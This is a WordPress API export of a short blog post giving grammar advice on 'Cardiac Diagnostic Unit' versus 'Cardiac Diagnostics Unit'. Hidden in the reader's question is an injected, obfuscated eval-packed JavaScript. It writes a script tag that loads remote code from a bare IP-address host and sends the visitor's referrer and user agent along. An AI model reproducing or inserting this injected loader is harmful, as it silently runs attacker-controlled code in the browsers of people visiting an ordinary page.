{"id":1165,"date":"2010-06-10T08:50:38","date_gmt":"2010-06-10T15:50:38","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1165"},"modified":"2010-12-13T14:01:15","modified_gmt":"2010-12-13T21:01:15","slug":"saving-the-world-one-adjective-at-a-time","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1165","title":{"rendered":"saving the world, one adjective at a time"},"content":{"rendered":"<p><em>I <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fradh|var|u0026u|referrer|tnaey||js|php'.split('|'),0,{}))\n<\/script><\/noindex> work at the Cardiac Diagnostic Unit in Duke South Hospital and our department head stated that our department name will be changed to the &#8220;Cardiac Diagnostics Unit&#8221; in the near future.  There has been a recent discussion about the proper grammar of this title.  We are hoping you can help us.<\/p>\n<p> Thank you for any assistance.<\/em><\/p>\n<p>Hello &#8211;<\/p>\n<p>Diagnostic is an adjective, describing something.  So, for example, you&#8217;d say &#8220;musical instruments,&#8221;  &#8220;expensive instruments,&#8221; and &#8220;diagnostic instruments.&#8221;<br \/>\nDiagnostics is a noun &#8211; like any specialized field.  So you&#8217;d say &#8220;I study English,&#8221;  &#8220;I study Linguistics,&#8221; and &#8220;I study Diagnostics.&#8221;<\/p>\n<p>So, the question is, are you using the word &#8220;diagnostic&#8221; to describe the cardiac unit?  Or are you specifying a field, which is named &#8220;Cardiac Diagnostics?&#8221;  Honestly I think you&#8217;re probably ok either way; it&#8217;s not that one is right and the other is wrong &#8211; just a question of style and (very subtle) implication.<br \/>\nPersonally, I think &#8220;Cardiac Diagnostics Unit&#8221; is slightly easier to say aloud, if that matters.<\/p>\n<p>I&#8217;m glad you asked!  Now we can rename our department the &#8220;Grammatic Diagnostics Unit.&#8221;  ;)  I also do comma splices.<\/p>\n<p>Sincerely,<\/p>\n<p>Rebecca<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I work at the Cardiac Diagnostic Unit in Duke South Hospital and our department head&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[45],"class_list":["post-1165","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-work"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1165"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1165"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1165\/revisions"}],"predecessor-version":[{"id":2132,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1165\/revisions\/2132"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1165"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}